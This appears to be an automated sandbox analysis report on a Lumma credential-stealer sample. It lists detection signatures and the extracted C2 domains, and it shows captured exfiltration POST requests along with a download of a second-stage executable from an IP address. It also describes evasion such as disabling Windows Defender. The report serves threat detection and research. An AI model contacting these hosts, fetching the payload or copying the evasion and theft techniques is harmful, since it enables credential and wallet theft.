Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1544170
MD5:	7fbccc99d0d932806001e586244a2753
SHA1:	b58bb94b12622d01fae96018591e22df1936dff8
SHA256:	c6690c94e09ae2e597e93ebf539fcbb69a287d2819c8d33d8ce99ad0291aa031
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to detect virtual machines (SIDT)

Contains long sleeps (>= 3 min)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7348 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 7FBCCC99D0D932806001E586244A2753)

T4SWNFFH9VCKTA3D54ZZ0K.exe (PID: 7856 cmdline: "C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe" MD5: A3987AF8779CFCADCA21B72BA0ADEE63)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["crisiwarny.store", "founpiuer.store", "presticitpo.store", "scriptyprefej.store", "navygenerayk.store", "thumbystriw.store", "fadehairucw.store", "necklacedmny.store"], "Build id": "4SD0y4--legendaryy"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.1798881535.0000000000AB2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1760762964.0000000000AB1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1760634013.0000000000AB1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1745974561.0000000000AB2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1794846735.0000000000AB1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1773211916.0000000000AB1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1745890710.0000000000AB1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1773908608.0000000000AB1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7348	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 7348	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7348	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 7 entries

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T23:47:03.171272+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49730	188.114.97.3	443	TCP
2024-10-28T23:47:04.306432+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49731	188.114.97.3	443	TCP
2024-10-28T23:47:17.644476+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49738	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T23:47:03.171272+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49730	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T23:47:04.306432+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49731	188.114.97.3	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T23:47:18.578455+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	49740	185.215.113.16	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T23:47:11.036131+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49735	188.114.97.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: file.exe.7348.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["crisiwarny.store", "founpiuer.store", "presticitpo.store", "scriptyprefej.store", "navygenerayk.store", "thumbystriw.store", "fadehairucw.store", "necklacedmny.store"], "Build id": "4SD0y4--legendaryy"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.1948934121.0000000000191000.00000040.00000001.01000000.00000003.sdmp	String decryptor: scriptyprefej.store
Source: 00000000.00000002.1948934121.0000000000191000.00000040.00000001.01000000.00000003.sdmp	String decryptor: navygenerayk.store
Source: 00000000.00000002.1948934121.0000000000191000.00000040.00000001.01000000.00000003.sdmp	String decryptor: founpiuer.store
Source: 00000000.00000002.1948934121.0000000000191000.00000040.00000001.01000000.00000003.sdmp	String decryptor: necklacedmny.store
Source: 00000000.00000002.1948934121.0000000000191000.00000040.00000001.01000000.00000003.sdmp	String decryptor: thumbystriw.store
Source: 00000000.00000002.1948934121.0000000000191000.00000040.00000001.01000000.00000003.sdmp	String decryptor: fadehairucw.store
Source: 00000000.00000002.1948934121.0000000000191000.00000040.00000001.01000000.00000003.sdmp	String decryptor: crisiwarny.store
Source: 00000000.00000002.1948934121.0000000000191000.00000040.00000001.01000000.00000003.sdmp	String decryptor: presticitpo.store
Source: 00000000.00000002.1948934121.0000000000191000.00000040.00000001.01000000.00000003.sdmp	String decryptor: presticitpo.store
Source: 00000000.00000002.1948934121.0000000000191000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.1948934121.0000000000191000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.1948934121.0000000000191000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.1948934121.0000000000191000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.1948934121.0000000000191000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.1948934121.0000000000191000.00000040.00000001.01000000.00000003.sdmp	String decryptor: 4SD0y4--legendaryy

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49738 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: T4SWNFFH9VCKTA3D54ZZ0K.exe, 00000004.00000002.2110118539.00000000006E2000.00000040.00000001.01000000.00000006.sdmp, T4SWNFFH9VCKTA3D54ZZ0K.exe, 00000004.00000003.1976944460.0000000004A30000.00000004.00001000.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49730 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49730 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49738 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49735 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49731 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49731 -> 188.114.97.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: crisiwarny.store
Source: Malware configuration extractor	URLs: founpiuer.store
Source: Malware configuration extractor	URLs: presticitpo.store
Source: Malware configuration extractor	URLs: scriptyprefej.store
Source: Malware configuration extractor	URLs: navygenerayk.store
Source: Malware configuration extractor	URLs: thumbystriw.store
Source: Malware configuration extractor	URLs: fadehairucw.store
Source: Malware configuration extractor	URLs: necklacedmny.store

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 28 Oct 2024 22:47:18 GMTContent-Type: application/octet-streamContent-Length: 2806784Last-Modified: Mon, 28 Oct 2024 22:25:20 GMTConnection: keep-aliveETag: "67200f50-2ad400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2b 00 00 04 00 00 db 09 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 78 69 62 75 69 61 62 71 00 80 2a 00 00 a0 00 00 00 74 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 73 6b 62 75 69 68 78 00 20 00 00 00 20 2b 00 00 04 00 00 00 ae 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 40 2b 00 00 22 00 00 00 b2 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic

Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49740 -> 185.215.113.16:80

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18168Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8789Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20442Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1254Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 588582Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 87Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic

HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: global traffic	DNS traffic detected: DNS query: presticitpo.store
Source: global traffic	DNS traffic detected: DNS query: crisiwarny.store
Source: global traffic	DNS traffic detected: DNS query: fadehairucw.store
Source: global traffic	DNS traffic detected: DNS query: thumbystriw.store
Source: global traffic	DNS traffic detected: DNS query: necklacedmny.store

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store

Source: file.exe, 00000000.00000003.1946966139.0000000000AA2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1952959185.0000000000AA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: file.exe, 00000000.00000003.1946966139.0000000000AA2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1952959185.0000000000AA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/k
Source: file.exe, 00000000.00000003.1946966139.0000000000AA2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1952959185.0000000000AA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/lg;
Source: file.exe, file.exe, 00000000.00000002.1952432962.00000000008FA000.00000004.00000010.00020000.00000000.sdmp, file.exe, 00000000.00000003.1946966139.0000000000AA2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1952959185.0000000000AA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000000.00000003.1946966139.0000000000AA2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1952959185.0000000000AA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe&nT
Source: file.exe, 00000000.00000002.1952821188.0000000000A52000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1947207859.0000000000A52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeA4T:
Source: file.exe, 00000000.00000003.1946802654.0000000000ABC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1953493264.0000000000ACB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1947322570.0000000000AC8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1947408572.0000000000ACB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeI
Source: file.exe, 00000000.00000003.1946802654.0000000000ABC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1953493264.0000000000ACB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1947322570.0000000000AC8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1947408572.0000000000ACB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeS
Source: file.exe, 00000000.00000003.1946966139.0000000000AA2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1952959185.0000000000AA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exee
Source: file.exe, 00000000.00000003.1946966139.0000000000AA2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1952959185.0000000000AA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeeXn
Source: file.exe, 00000000.00000002.1952490232.0000000000A1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/off/def.exeYw
Source: file.exe, 00000000.00000003.1773682661.0000000005475000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.1773682661.0000000005475000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.1773682661.0000000005475000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.1773682661.0000000005475000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.1773682661.0000000005475000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.1773682661.0000000005475000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.1773682661.0000000005475000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe, 00000000.00000003.1773682661.0000000005475000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.1773682661.0000000005475000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: file.exe, 00000000.00000003.1773682661.0000000005475000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
